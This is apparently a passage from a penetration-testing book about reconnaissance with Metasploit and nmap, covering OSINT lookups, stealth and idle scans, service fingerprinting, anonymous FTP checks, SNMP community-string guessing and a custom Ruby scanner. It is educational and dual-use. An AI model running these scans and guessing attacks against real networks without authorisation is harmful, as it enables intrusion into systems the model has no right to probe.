Intelligence gathering follows the pre-engagement activities as the second step in a penetration test. Your goals during intelligence gathering should be to gain accurate information about your targets without revealing your presence or your intentions, to learn how the organization operates, and to determine the best route of entry. If you don’t do a thorough job of intelligence gathering, you may miss vulnerable systems or viable attack vectors. It takes time and patience to sort through web pages, perform Google hacking, and map systems thoroughly in an attempt to understand the infrastructure of a particular target. Intelligence gathering requires careful planning, research, and, most importantly, the ability to think like an attacker. At this step, you will attempt to collect as much information about the target environment as possible. This can be an expansive amount of information, and even the most trivial data gathered during this stage can prove useful later on, so pay attention.

Before you begin intelligence gathering, consider how you will record everything you do and the results you achieve. You must remember and record as many details of your penetration test as possible. Most security professionals quickly learn that detailed notes can mean the difference between a successful and a failed penetration test. Just as a scientist needs to achieve reproducible results, other experienced penetration testers should be able to reproduce your work using your documentation alone.

Intelligence gathering is arguably the most important aspect of a penetration test, because it provides the foundation for all work that follows. When recording your work, be methodical, accurate, and precise. And, as stated earlier, be sure that before you fire off your exploits, you have learned all that you can about your target.

The excitement for most people comes in exploiting systems and getting to root, but you need to learn to walk before you can run.

Warning

If you follow the procedures in this chapter, you can actually damage your system and your target’s system, so be sure to set up your test environment now. (For help, see Appendix A.) Many of the examples in these chapters can be destructive and make a target system unusable. The activities discussed in this chapter could be considered illegal if they are undertaken by someone with bad intentions, so follow the rules and don’t be stupid.

Passive Information Gathering

By using passive and indirect information gathering, you can discover information about targets without touching their systems. For example, you can use these techniques to identify network boundaries, identify the network maintainers, and even learn what operating system and web server software is in use on the target network.

Open source intelligence (OSINT) is a form of intelligence collection that uses open or readily available information to find, select, and acquire information about a target. Several tools make passive information gathering almost painless, including complex tools such as Yeti and the humble whois. In this section, we’ll explore the process of passive information gathering and the tools that you might use for this step.

Imagine, for example, an attack against http://www.secmaniac.net/. Our goal is to determine, as a part of a penetration test, what systems the company owns and what systems we can attack. Some systems may not be owned by the company and could be considered out of scope and unavailable for attack.

whois Lookups

Let’s begin by using Back|Track’s whois lookup to find the names of secmaniac.net’s domain servers.

msf > whois secmaniac.net
[*] exec: whois secmaniac.net

. . . SNIP . . .
Registered through: GoDaddy.com, Inc. (http://www.godaddy.com)
Domain Name: SECMANIAC.NET
Created on: 03-Feb-10
Expires on: 03-Feb-12
Last Updated on: 03-Feb-10

Domain servers in listed order:
NS57.DOMAINCONTROL.COM
NS58.DOMAINCONTROL.COM

We learn at that the Domain Name System (DNS) servers are hosted by DOMAINCONTROL.COM, so this is a good example of systems that would not be included in a penetration test because we would have no authority to attack them. In most large organizations, the DNS servers are housed within the company and are viable attack vectors. Zone transfers and similar DNS attacks can often be used to learn more about a network from both the inside and outside. In this scenario, because DOMAINCONTROL.COM is not owned by secmaniac.net, we should not attack these systems and will instead move on to a different attack vector.

Netcraft

Netcraft (http://searchdns.netcraft.com/) is a web-based tool that we can use to find the IP address of a server hosting a particular website, as shown in Figure 3-1.

Figure 3-1. Use Netcraft to find the IP address of the server hosting a particular website.

Having identified secmaniac.net’s IP address as 75.118.185.142, we do another whois lookup on that IP address:

msf > whois 75.118.185.142
[*] exec: whois 75.118.185.142
WideOpenWest Finance LLC WIDEOPENWEST (NET-75-118-0-0-1)
75.118.0.0 - 75.118.255.255
WIDEOPENWEST OHIO WOW-CL11-1-184-118-75 (NET-75-118-184-0-1)
75.118.184.0 - 75.118.191.255

We see from the whois lookup and a quick search that this IP (WIDEOPENWEST) appears to be a legitimate service provider. While the actual subnet range isn’t specifically registered to secmaniac.net or secmaniac.com, we can tell that this site appears to be hosted inside the author’s home, because the IP block appears to be part of a residential range.

NSLookup

To get additional server information, we’ll use Back|Track to leverage nslookup, a tool built into most operating systems, to find information about secmaniac.net.

root@bt:˜# nslookup
set type=mx
> secmaniac.net
Server: 172.16.32.2
Address: 172.16.32.2#53

Non-authoritative answer:
secmaniac.net mail exchanger = 10 mailstore1.secureserver.net.
secmaniac.net mail exchanger = 0 smtp.secureserver.net.

We see in this listing that the mail servers are pointing to mailstore1.secureserver.net and smtp.secureserver.net. Some quick research on these mail servers tells us that this website is hosted by a third party, which would not be within the scope of our penetration test.

At this point, we have gathered some valuable information that we might be able to use against the target later on. Ultimately, however, we have to resort to active information gathering techniques to determine the actual target IP, which is 75.118.185.142.

Note

Passive information gathering is an art that is not easily mastered in just a few pages of discussion. See the Penetration Testing Execution Standard (PTES; http://www.pentest-standard.org/) for a list of potential ways to perform additional passive intelligence gathering.

Active Information Gathering

In active information gathering, we interact directly with a system to learn more about it. We might, for example, conduct port scans for open ports on the target or conduct scans to determine what services are running. Each system or running service that we discover gives us another opportunity for exploitation. But beware: If you get careless while active information gathering, you might be nabbed by an IDS or intrusion prevention system (IPS) — not a good outcome for the covert penetration tester.

Port Scanning with Nmap

Having identified the target IP range with passive information gathering as well as the secmaniac.net target IP address, we can begin to scan for open ports on the target by port scanning, a process whereby we meticulously connect to ports on the remote host to identify those that are active. (Obviously, in a larger enterprise, we would have multiple IP ranges and things to attack instead of only one IP.)

Nmap is, by far, the most popular port scanning tool. It integrates with Metasploit quite elegantly, storing scan output in a database backend for later use. Nmap lets you scan hosts to identify the services running on each, any of which might offer a way in.

For this example, let’s leave secmaniac.net behind and turn to the virtual machine described in Appendix A, with IP address 172.16.32.131. Before we get started, take a quick look at the basic nmap syntax by entering nmap from the command line on your Back|Track machine.

You’ll see immediately that nmap has a quite a few options, but you’ll use just a few of them for the most part.

One of our preferred nmap options is -sS. This runs a stealth TCP scan that determines whether a specific TCP-based port is open. Another preferred option is -Pn, which tells nmap not to use ping to determine whether a system is running; instead, it considers all hosts “alive.” If you’re performing Internet-based penetration tests, you should use this flag, because most networks don’t allow Internet Control Message Protocol (ICMP), which is the protocol that ping uses. If you’re performing this scan internally, you can probably ignore this flag.

Now let’s run a quick nmap scan against our Windows XP machine using both the -sS and -Pn flags.

root@bt:˜# nmap -sS -Pn 172.16.32.131
Nmap scan report for 172.16.32.131
Host is up (0.00057s latency).
Not shown: 990 closed ports
PORT STATE SERVICE
21/tcp open ftp
25/tcp open smtp
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
443/tcp open https
445/tcp open microsoft-ds
1025/tcp open NFS-or-IIS
1433/tcp open ms-sql-s
3389/tcp open ms-term-serv
Nmap done: 1 IP address (1 host up) scanned in 14.34 seconds

As you can see, nmap reports a list of open ports, along with a description of the associated service for each.

For more detail, try using the -A flag. This option will attempt advanced service enumeration and banner grabbing, which may give you even more details about the target system. For example, here’s what we’d see if we were to call nmap with the -sS and -A flags, using our same target system:

root@bt:˜# nmap -Pn -sS -A 172.16.32.131
Nmap scan report for 172.16.32.131
Host is up (0.0035s latency).
Not shown: 993 closed ports
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn
445/tcp open microsoft-ds Microsoft Windows XP microsoft-ds
777/tcp open unknown
1039/tcp open unknown
1138/tcp open msrpc Microsoft Windows RPC
1433/tcp open ms-sql-s Microsoft SQL Server 2005 9.00.1399; RTM

. . . SNIP . . .

Device type: general purpose
Running: Microsoft Windows XP|2003
OS details: Microsoft Windows XP Professional SP2 or Windows Server 2003
Network Distance: 1 hop
Service Info: OS: Windows

Host script results:
|_nbstat: NetBIOS name: V-MAC-XP, NetBIOS user: <unknown>, NetBIOS MAC:
00:0c:29:c9:38:4c (VMware)
|_smbv2-enabled: Server doesn't support SMBv2 protocol
| smb-os-discovery:

| OS: Windows XP (Windows 2000 LAN Manager)
| Name: WORKGROUP\V-MAC-XP

Working with Databases in Metasploit

When you’re running a complex penetration test with a lot of targets, keeping track of everything can be a challenge. Luckily, Metasploit has you covered with expansive support for multiple database systems.

To ensure that database support is available for your system, you should first decide which database system you want to run. Metasploit supports MySQL and PostgreSQL; because PostgreSQL is the default, we’ll stick with it in this discussion.

First, we start the database subsystem using the built-in Back|Track init.d scripts.

root@bt˜# etcinit.d/postgresql-8.3 start

After PostgreSQL has started, we tell the Framework to connect to the database instance. This connection requires a username, password, name of the host on which the database is running, and the database name we want to use. Back|Track’s default PostgreSQL username is postgres with the password toor, but we’ll use msfbook as the database name. Let’s make the connection.

msf > db_connect postgres:toor@127.0.0.1/msfbook

If this were the first time we connected to the database name, we would see a lot of text output as Metasploit sets up all the necessary tables. Otherwise, the command will return to the msfconsole prompt.

Metasploit provides a number of commands that we can use to interact with the database, as you’ll see throughout this book. (For a complete list, enter help.) For now, we’ll use db_status to make sure that we’re connected correctly.

msf > db_status
[*] postgresql connected to msfbook

Everything seems to be set up just fine.

Importing Nmap Results into Metasploit

When you are working with other team members, with various individuals scanning at different times and from different locations, it helps to know how to run nmap on its own and then import its results into the Framework. Next, we’ll examine how to import a basic nmap-generated XML export file (generated with nmap’s -oX option) into the Framework.

First, we scan the Windows virtual machine using the -oX option to generate a Subnet1.xml file:

nmap -Pn -sS -A -oX Subnet1 192.168.1.0/24

After generating the XML file, we use the db_import command to import it into our database. We can then verify that the import worked by using the db_hosts command, which lists the systems entries that have been created, as shown here:

msf > db_connect postgres:toor@127.0.0.1/msf3
msf > db_import Subnet1.xml
msf > db_hosts -c address

Hosts
=====

address

-------

192.168.1.1
192.168.1.10
192.168.1.101
192.168.1.102
192.168.1.109
192.168.1.116
192.168.1.142
192.168.1.152
192.168.1.154
192.168.1.171
192.168.1.155
192.168.1.174
192.168.1.180
192.168.1.181
192.168.1.2
192.168.1.99

msf >

This tells us that we’ve successfully imported the output of our nmap scans into Metasploit, as evidenced by the IP addresses populated when we run the db_hosts commands.

Advanced Nmap Scanning: TCP Idle Scan

A more advanced nmap scan method, TCP idle scan, allows us to scan a target stealthily by spoofing the IP address of another host on the network. For this type of scan to work, we first need to locate an idle host on the network that uses incremental IP IDs (which are used to track packet order). When we discover an idle system that uses incremental IP IDs, the IP IDs become predictable, and we can then predict the next ID. However, when spoofing the address of an idle host while scanning a target’s responses from open ports, we can see a break in the predictability of the IP ID sequence, which indicates that we have discovered an open port. (To learn more about this module and IP ID sequences, visit http://www.metasploit.com/modules/auxiliary/scanner/ip/ipidseq/.)

Use the Framework’s scanner/ip/ipidseq module to scan for a host that fits the TCP idle scan requirements, as shown next:

msf > use auxiliary/scanner/ip/ipidseq
msf auxiliary(ipidseq) > show options

Module options:

Name Current Setting Required Description
---- --------------- -------- -----------
GWHOST no The gateway IP address
INTERFACE no The name of the interface
LHOST no The local IP address
RHOSTS
yes The target address range or CIDR identifier
RPORT 80 yes The target port
SNAPLEN 65535 yes The number of bytes to capture
THREADS 1 yes The number of concurrent threads
TIMEOUT 500 yes The reply read timeout in milliseconds

This listing displays the required options for the ipidseq scan. One notable one, RHOSTS at , can take IP ranges (such as 192.168.1.20–192.168.1.30); Classless Inter-Domain Routing (CIDR) ranges (such as 192.168.1.0/24); multiple ranges separated by commas (such as 192.168.1.0/24, 192.168.3.0/24); and a text file with one host per line (such as file:/tmp/hostlist.txt). All these options give us quite a bit of flexibility in specifying our targets.

The THREADS value at sets the number of concurrent threads to use while scanning. By default, all scanner modules have their THREADS value initially set to 1. We can raise this value to speed up our scans or lower it to reduce network traffic. In general, you should not set the THREADS value greater 16 when running Metasploit on Windows, and not greater than 128 on UNIX-like operating systems.

Now let’s set our values and run the module. We’ll set the value for RHOSTS to 192.168.1.0/24, set THREADS to 50, and then run the scan.

msf auxiliary(ipidseq) > set RHOSTS 192.168.1.0/24
RHOSTS => 192.168.1.0/24
msf auxiliary(ipidseq) > set THREADS 50
THREADS => 50
msf auxiliary(ipidseq) > run

[*] 192.168.1.1's IPID sequence class: All zeros
[*] 192.168.1.10's IPID sequence class: Incremental!
[*] Scanned 030 of 256 hosts (011% complete)
[*] 192.168.1.116's IPID sequence class: All zeros
[*] 192.168.1.109's IPID sequence class: Incremental!
[*] Scanned 128 of 256 hosts (050% complete)
[*] 192.168.1.154's IPID sequence class: Incremental!
[*] 192.168.1.155's IPID sequence class: Incremental!
[*] Scanned 155 of 256 hosts (060% complete)
[*] 192.168.1.180's IPID sequence class: All zeros
[*] 192.168.1.181's IPID sequence class: Incremental!
[*] 192.168.1.185's IPID sequence class: All zeros
[*] 192.168.1.184's IPID sequence class: Randomized
[*] Scanned 232 of 256 hosts (090% complete)
[*] Scanned 256 of 256 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(ipidseq) >

Judging by the results of our scan, we see a number of potential idle hosts that we can use to perform idle scanning. We’ll try scanning a host using the system at 192.168.1.109 shown at by using the -sI command line flag to specify the idle host:

msf auxiliary(ipidseq) > nmap -PN -sI 192.168.1.109 192.168.1.155
[*] exec: nmap -PN -sI 192.168.1.109 192.168.1.155

Idle scan using zombie 192.168.1.109 (192.168.1.109:80); Class: Incremental
Interesting ports on 192.168.1.155:
Not shown: 996 closed|filtered ports
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
MAC Address: 00:0C:29:E4:59:7C (VMware)
Nmap done: 1 IP address (1 host up) scanned in 7.12 seconds
msf auxiliary(ipidseq) >

By using the idle host, we were able to discover a number of open ports on our target system without sending a single packet to the system.

Running Nmap from MSFconsole

Now that we’ve performed advanced enumeration on our target, let’s connect nmap with Metasploit. To do this, we first connect to the msfbook database:

msf > db_connect postgres:toor@127.0.0.1/msf3

Now we should be able to enter the db_nmap command from within msfconsole to run nmap and have its results automatically stored in our new database.

Note

We’ll be attacking only one system in this instance, but you can specify IPs by CIDR notation and even ranges (for example, 192.168.1.1/24 or 192.168.1.1–254).

msf > db_nmap -sS -A 172.16.32.131

Warning: Traceroute does not support idle or connect scan, disabling...
Nmap scan report for 172.16.32.131
Host is up (0.00056s latency).
Not shown: 990 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
25/tcp open smtp Microsoft ESMTP 6.0.2600.2180
80/tcp open http Microsoft IIS webserver 5.1
|_html-title:
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn
443/tcp open https?
445/tcp open microsoft-ds Microsoft Windows XP microsoft-ds
1025/tcp open msrpc Microsoft Windows RPC
1433/tcp open ms-sql-s Microsoft SQL Server 2005 9.00.1399; RTM
3389/tcp open microsoft-rdp Microsoft Terminal Service
MAC Address: 00:0C:29:EA:26:7C (VMware)
Device type: general purpose
Running: Microsoft Windows XP|2003
OS details: Microsoft Windows XP Professional SP2 or Windows Server 2003
Network Distance: 1 hop
Service Info: Host: ihazsecurity; OS: Windows

Host script results:
|_nbstat: NetBIOS name: IHAZSECURITY, NetBIOS user:
<unknown>, NetBIOS MAC: 00:0c:29:ea:26:7c
| smb-os-discovery:
| OS: Windows XP (Windows 2000 LAN Manager)
| Name: WORKGROUP\IHAZSECURITY
|_smbv2-enabled: Server doesn't support SMBv2 protocol

OS and Service detection performed. Please report any
incorrect results at http://nmap.org/submit/.
Nmap done: 1 IP address (1 host up) scanned in 33.51 seconds

Notice a series of open ports , software versions , and even a prediction about the target’s operating system .

To check that the results from the scan are stored in the database, we run db_services:

msf > db_services
Services
========

host port proto name state info
---- ---- ----- ---- ----- ----
172.16.32.131 135 tcp msrpc open Microsoft Windows RPC
172.16.32.131 139 tcp netbios-ssn open
172.16.32.131 445 tcp microsoft-ds open Microsoft Windows XP microsoft-ds
172.16.32.131 777 tcp unknown open
172.16.32.131 1433 tcp ms-sql-s open Microsoft
SQL Server 2005 9.00.1399; RTM

We’re beginning to develop a picture of our target and exposed ports for use as potential attack vectors.

Port Scanning with Metasploit

In addition to its ability to use third-party scanners, Metasploit has several port scanners built into its auxiliary modules that directly integrate with most aspects of the Framework. In later chapters, we’ll use these port scanners to leverage compromised systems to access and attack; his process, often called pivoting, allows us to use internally connected systems to route traffic to a network that would otherwise be inaccessible.

For example, suppose you compromise a system behind a firewall that is using Network Address Translation (NAT). The system behind the NAT-based firewall uses private IP addresses, which you cannot contact directly from the Internet. If you use Metasploit to compromise a system behind a NAT, you might be able to use that compromised internal system to pass traffic (pivot) to internally hosted and private IP-based systems to penetrate the network farther behind the firewall.

To see the list of port scanning tools that the Framework offers, enter the following:

msf > search portscan

Let’s conduct a simple scan of a single host using Metasploit’s SYN Port Scanner. In the following listing, we start the scan with use scanner/portscan/syn, set RHOSTS to 192.168.1.155, set THREADS to 50, and then run the scan.

msf > use scanner/portscan/syn
msf auxiliary(syn) > set RHOSTS 192.168.1.155
RHOSTS => 192.168.1.155
msf auxiliary(syn) > set THREADS 50
THREADS => 50
msf auxiliary(syn) > run
[*] TCP OPEN 192.168.1.155:135
[*] TCP OPEN 192.168.1.155:139
[*] TCP OPEN 192.168.1.155:445
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(syn) >

From the results, you can see at that ports 135, 139, and 445 are open on IP address 192.168.1.155, leveraging the portscan syn module within Metasploit.

Targeted Scanning

When you are conducting a penetration test, there is no shame in looking for an easy win. A targeted scan looks for specific operating systems, services, program versions, or configurations that are known to be exploitable and that provide an easy door into a target network. For example, it is common to scan a target network quickly for the vulnerability MS08-067, as this is (still) an extremely common hole that will give you SYSTEM access much more quickly than scanning an entire target network for vulnerabilities.

Server Message Block Scanning

Metasploit can scour a network and attempt to identify versions of Microsoft Windows using its smb_version module.

Note

If you are not familiar with Server Message Block (SMB, a common file-sharing protocol), study up a bit on the different protocols and their purposes before you continue. You will need to understand basic port information to learn how to attack a system successfully.

We run the module, list our options, set RHOSTS, and begin scanning:

msf > use scanner/smb/smb_version
msf auxiliary(smb_version) > show options

Module options:

Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target address range or CIDR identifier
THREADS 1 yes The number of concurrent threads

msf auxiliary(smb_version) > set RHOSTS 192.168.1.155
RHOSTS => 192.168.1.155
msf auxiliary(smb_version) > run

[*] 192.168.1.155 is running Windows XP Service Pack 2 (language: English)
(name:DOOKIE-FA154354) (domain:WORKGROUP)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

As you can see at the smb_version scanner has pinpointed the operating system as Windows XP with Service Pack 2. Because we are scanning only one system, we leave THREADS set to 1. If we had been scanning a number of systems, such as a class C subnet range, we might consider upping the THREADS using the set THREADS number option. The results of this scan are stored in the Metasploit database for use at a later time and to be accessed with the db_hosts command.

msf auxiliary(smb_version) > db_hosts -c address,os_flavor

Hosts
=====

address os_flavor Svcs Vulns Workspace
------- --------- ---- ----- ---------
192.168.1.155 Windows XP 3 0 default
msf auxiliary(smb_version) >

We have discovered a system running Windows XP without having to do a full scan of the network. This is a great way to target hosts quickly and quietly that are likely to be more vulnerable when our goal is avoid being noticed.

Hunting for Poorly Configured Microsoft SQL Servers

Poorly configured Microsoft SQL Server (MS SQL) installations often provide an initial way into a target network. In fact, many system administrators don’t even realize that they have MS SQL servers installed on their workstations at all, because the service is installed as a prerequisite for some common software, such as Microsoft Visual Studio. These installations are often unused, unpatched, or never even configured.

When MS SQL is installed, it listens by default either on TCP port 1433 or on a random dynamic TCP port. If MS SQL is listening on a dynamic port, simply query UDP port 1434 to discover on what dynamic TCP port MS SQL is listening. Of course, Metasploit has a module that can make use of this “feature”: mssql_ping.

Because mssql_ping uses UDP, it can be quite slow to run across entire subnets because of issues with timeouts. But on a local LAN, setting THREADS to 255 will greatly speed up the scan. As Metasploit finds MS SQL servers, it displays all the details it can extract from them including, perhaps most importantly, the TCP port on which the server is listening.

Here’s how you might run an mssql_ping scan, which includes starting the scan, listing and setting options, and the results.

msf > use scanner/mssql/mssql_ping
msf auxiliary(mssql_ping) > show options

Module options:

Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD no The password for the specified username
RHOSTS yes The target address range or CIDR identifier
THREADS 1 yes The number of concurrent threads
USERNAME sa no The username to authenticate as
WORKSPACE no The name of the
workspace to report data into

msf auxiliary(mssql_ping) > set RHOSTS 192.168.1.0/24
RHOSTS => 192.168.1.0/24
msf auxiliary(mssql_ping) > set THREADS 255
THREADS => 255
msf auxiliary(mssql_ping) > run

[*] SQL Server information for 192.168.1.155:
[*] ServerName = V-XPSP2-BARE
[*] InstanceName = SQLEXPRESS
[*] IsClustered = No
[*] Version = 10.0.1600.22
[*] tcp = 1433

As you can see, not only does the scanner locate a MS SQL server at , but it also identifies the instance name at , the SQL server version at , and the TCP port number at on which it is listening. Just think of how much time this targeted scan for SQL servers would save over running nmap against all ports on all machines in a target subnet in search of the elusive TCP port.

SSH Server Scanning

If during your scanning you encounter machines running Secure Shell (SSH), you should determine which version is running on the target. SSH is a secure protocol, but vulnerabilities in various implementations have been identified. You never know when you might get lucky and come across an old machine that hasn’t been updated. You can use the Framework’s ssh_version module to determine the SSH version running on the target server.

msf > use scanner/ssh/ssh_version
msf auxiliary(ssh_version) > set THREADS 50
THREADS => 50
msf auxiliary(ssh_version) > run

[*] 192.168.1.1:22, SSH server version: SSH-2.0-dropbear_0.52
[*] Scanned 044 of 256 hosts (017% complete)
[*] 192.168.1.101:22, SSH server version: SSH-2.0-OpenSSH_5.1p1 Debian-3ubuntu1
[*] Scanned 100 of 256 hosts (039% complete)
[*] 192.168.1.153:22, SSH server version: SSH-2.0-OpenSSH_4.3p2 Debian-8ubuntu1
[*] 192.168.1.185:22, SSH server version: SSH-2.0-OpenSSH_4.3

This output tells us that a few different servers are running with various patch levels. This information could prove useful if, for example, we wanted to attack a specific version of OpenSSH as found with the ssh_version scan.

FTP Scanning

FTP is a complicated and insecure protocol. FTP servers are often the easiest way into a target network, and you should always scan for, identify, and fingerprint any FTP servers running on your target.

Next, we scan our XP box for FTP services using the Framework’s ftp_version module:

msf > use scanner/ftp/ftp_version
msf auxiliary(ftp_version) > show options

Module options:

Name Current Setting Required Description
---- --------------- -------- -----------
FTPPASS mozilla@example.com no The password for the specified username
FTPUSER anonymous no The username to authenticate as
RHOSTS yes The target
address range or CIDR identifier
RPORT 21 yes The target port
THREADS 1 yes The number of concurrent threads
WORKSPACE no The name of
the workspace to report data into

msf auxiliary(ftp_version) > set RHOSTS 192.168.1.0/24
RHOSTS => 192.168.1.0/24
msf auxiliary(ftp_version) > set THREADS 255
THREADS => 255
msf auxiliary(ftp_version) > run

[*] 192.168.1.155:21 FTP Banner: Minftpd ready

The scanner successfully identifies an FTP server at . Now let’s see if this FTP server allows anonymous logins using the Framework’s scanner/ftp/anonymous.

msf > use auxiliary/scanner/ftp/anonymous
msf auxiliary(anonymous) > set RHOSTS 192.168.1.0/24
RHOSTS => 192.168.1.0/24
msf auxiliary(anonymous) > set THREADS 50
THREADS => 50
msf auxiliary(anonymous) > run

[*] Scanned 045 of 256 hosts (017% complete)
[*] 192.168.1.155:21 Anonymous READ/WRITE (220 Minftpd ready)

The scanner reports at that anonymous access is allowed and that anonymous users have both read and write access to the server; in other words, we have full access to the remote system and the ability to upload or download any file that can be accessed by the FTP server software.

Simple Network Management Protocol Sweeping

The Simple Network Management Protocol (SNMP) is typically used in network devices to report information such as bandwidth utilization, collision rates, and other information. However, some operating systems also have SNMP servers that can provide information such as CPU utilization, free memory, and other system-specific details.

Convenience for the system administrator can be a gold mine for the penetration tester, and accessible SNMP servers can offer considerable information about a specific system or even make it possible to compromise a remote device. If, for instance, you can get the read/write SNMP community string for a Cisco router, you can download the router’s entire configuration, modify it, and upload it back to the router.

The Metasploit Framework includes a built-in auxiliary module called scanner/snmp/snmp_enum that is designed specifically for SNMP sweeps. Before you start the scan, keep in mind that the read-only (RO) and read/write (RW) community strings will play an important role in the type of information you will be able to extract from a given device. On Windows-based devices configured with SNMP, you can often use the RO or RW community strings to extract patch levels, running services, usernames, uptime, routes, and other information that can make things much easier for you during a pen test. (Community strings are essentially passwords used to query a device for information or to write configuration information to the device.)

After you guess the community strings, SNMP itself (depending on the version) can allow anything from excessive information disclosure to full system compromise. SNMPv1 and v2 are inherently flawed protocols. SNMPv3, which incorporates encryption and better check mechanisms, is significantly more secure. To gain access to a switch, you’ll first need to attempt to find its community strings. The Framework’s use scanner/snmp/snmp_login module will try a word list against one or a range of IP addresses.

msf > use use scanner/snmp/snmp_login
msf auxiliary(snmp_login) > set RHOSTS 192.168.1.0/24
RHOSTS => 192.168.1.0/24
msf auxiliary(snmp_login) > set THREADS 50
THREADS => 50
msf auxiliary(snmp_login) > run

[*] >> progress (192.168.1.0-192.168.1.255) 0/30208...
[*] 192.168.1.2 'public' 'GSM7224 L2 Managed Gigabit Switch'
[*] 192.168.1.2 'private' 'GSM7224 L2 Managed Gigabit Switch'
[*] Auxiliary module execution completed
msf auxiliary(snmp_login) >

A quick Google search for GSM7224 from the output tells us that the scanner has found both the public and private community strings for a Netgear switch. This result, believe it or not, has not been staged for this book. These are the default factory settings for this switch.

You will encounter many jaw-dropping situations like these throughout your pen testing career, because many administrators simply attach devices to a network with all their defaults still in place. The situation is even scarier when you find these devices accessible from the Internet within a large corporation.

Writing a Custom Scanner

Many applications and services lack custom modules in Metasploit. Thankfully, the Framework has many features that can be useful when you’re building a custom scanner, including offering access to all of its exploit classes and methods, and support for proxies, Secure Sockets Layer (SSL), reporting, and threading. It can be very useful to write your own scanner during security assessments, because doing so will allow you to locate every instance of a bad password or unpatched service quickly on a target system.

The Metasploit Framework scanner modules include various mixins, such as exploit mixins for TCP, SMB, and so on, and the auxiliary scanner mixin that is built into the Framework. Mixins are portions of code with predefined functions and calls that are preconfigured for you. The Auxiliary::Scanner mixin overloads the Auxiliary run method; calls the module method at runtime with run_host(ip), run_range(range), or run_batch(batch); and then processes the IP addresses. We can leverage Auxiliary::Scanner to call additional, built-in Metasploit functionality.

Following is a Ruby script for a simple TCP scanner that will connect to a remote host on a default port of 12345 and upon connecting, send “HELLO SERVER,” receive the server response, and print it out along with the server’s IP address.

#Metasploit
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Scanner
def initialize
super(
'Name' => 'My custom TCP scan',
'Version' => '$Revision: 1 $',
'Description' => 'My quick scanner',
'Author' => 'Your name here',
'License' => MSF_LICENSE
)
register_options(
[
Opt::RPORT(12345)
], self.class)
end

def run_host(ip)
connect()
sock.puts('HELLO SERVER')
data = sock.recv(1024)
print_status("Received: #{data} from #{ip}")
disconnect()
end
end

This simple scanner uses the Msf::Exploit::Remote::Tcp mixin to handle the TCP networking, and the Msf::Auxiliary::Scanner mixin exposes the various settings that are required for scanners within the Framework . This scanner is configured to use the default port of 12345 , and upon connecting to the server, it sends a message , receives the reply from the server, and then prints it out to the screen along with the server IP address .

We have saved this custom script under modules/auxiliary/scanner/ as simple_tcp.rb. The saved location is important in Metasploit. For example, if the module is saved under modules/auxiliary/scanner/http/, it would show up in the modules list as scanner/http/simple_tcp.

To test this rudimentary scanner, we set up a netcat listener on port 12345 and pipe in a text file to act as the server response.

root@bt:/# echo "Hello Metasploit" > banner.txt
root@bt:/# nc -lvnp 12345 < banner.txt
listening on [any] 12345...

Next, we load up msfconsole, select our scanner module, set its parameters, and run it to see if it works.

msf > use auxiliary/scanner/simple_tcp
msf auxiliary(simple_tcp) > show options

Module options:

Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target address range or CIDR identifier
RPORT 12345 yes The target port
THREADS 1 yes The number of concurrent threads

msf auxiliary(simple_tcp) > set RHOSTS 192.168.1.101
RHOSTS => 192.168.1.101
msf auxiliary(simple_tcp) > run

[*] Received: Hello Metasploit from 192.168.1.101
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(simple_tcp) >

Although this is only a simple example, the level of versatility afforded by the Metasploit Framework can be of great assistance when you need to get some custom code up and running quickly in the middle of a pen test. Hopefully, this simple example demonstrates the power of the Framework and modular code. But, of course, you don’t have to do everything by hand.

Looking Ahead

In this chapter, you learned how to leverage the Metasploit Framework for intelligence gathering, as outlined in the PTES. Intelligence gathering takes practice and requires a deep understanding of how an organization operates and how to identify the best potential attack vectors. As with anything, you should adapt and improve your own methodologies throughout your penetration-testing career. Just remember that your main focus for this phase is to learn about the organization you’re attacking and its overall footprint. Regardless of whether your work occurs over the Internet, on an internal network, wirelessly, or via social engineering, the goals of intelligence gathering will always be the same.

In the next chapter, we’ll move on to another important step during the vulnerability analysis phase: automated vulnerability scanning. In later chapters, we will explore more in-depth examples of how to create your own modules, exploits, and Meterpreter scripts.

Chapter 4. Vulnerability Scanning

A vulnerability scanner is an automated program designed to look for weaknesses in computers, computer systems, networks, and applications. The program probes a system by sending data to it over a network and analyzing the responses received, in an effort to enumerate any vulnerabilities present on the target by using its vulnerability database as reference.

Various operating systems tend to respond differently when sent particular network probes because of the different networking implementations in use. These unique responses serve as a fingerprint that the vulnerability scanner uses to determine the operating system version and even its patch level. A vulnerability scanner can also use a given set of user credentials to log into the remote system and enumerate the software and services to determine whether they are patched. With the results it obtains, the scanner presents a report outlining any vulnerabilities detected on the system. That report can be useful for both network administrators and penetration testers.

Vulnerability scanners generally create a lot of traffic on a network and are therefore not typically used in a penetration test when one of the objectives is to remain undetected. If, however, you are running a penetration test and stealth is not an issue, a vulnerability scanner can save you from having to probe systems manually to determine their patch levels and vulnerabilities.

Whether you use an automated scanner or do it manually, scanning is one of the most important steps in the penetration testing process; if done thoroughly, it will provide the best value to your client. In this chapter, we will discuss a number of vulnerability scanners and how they can be integrated within Metasploit. We’ll highlight some auxiliary modules in the Metasploit Framework that can locate specific vulnerabilities in remote systems.

The Basic Vulnerability Scan

Let’s look at how a scan works at the most basic level. In the following listing, we use netcat to grab a banner from the target 192.168.1.203. Banner grabbing is the act of connecting to a remote network service and reading the service identification (banner) that is returned. Many network services such as web, file transfer, and mail servers return their banner either immediately upon connecting to them or in response to a specific command. Here we connect to a web server on TCP port 80 and issue a GET HTTP request that allows us to look at the header information that the remote server returns in response to our request.

root@bt:/opt/framework3/msf3# nc 192.168.1.203 80
GET HTTP 1/1
HTTP/1.1 400 Bad Request
Server: Microsoft-IIS/5.1

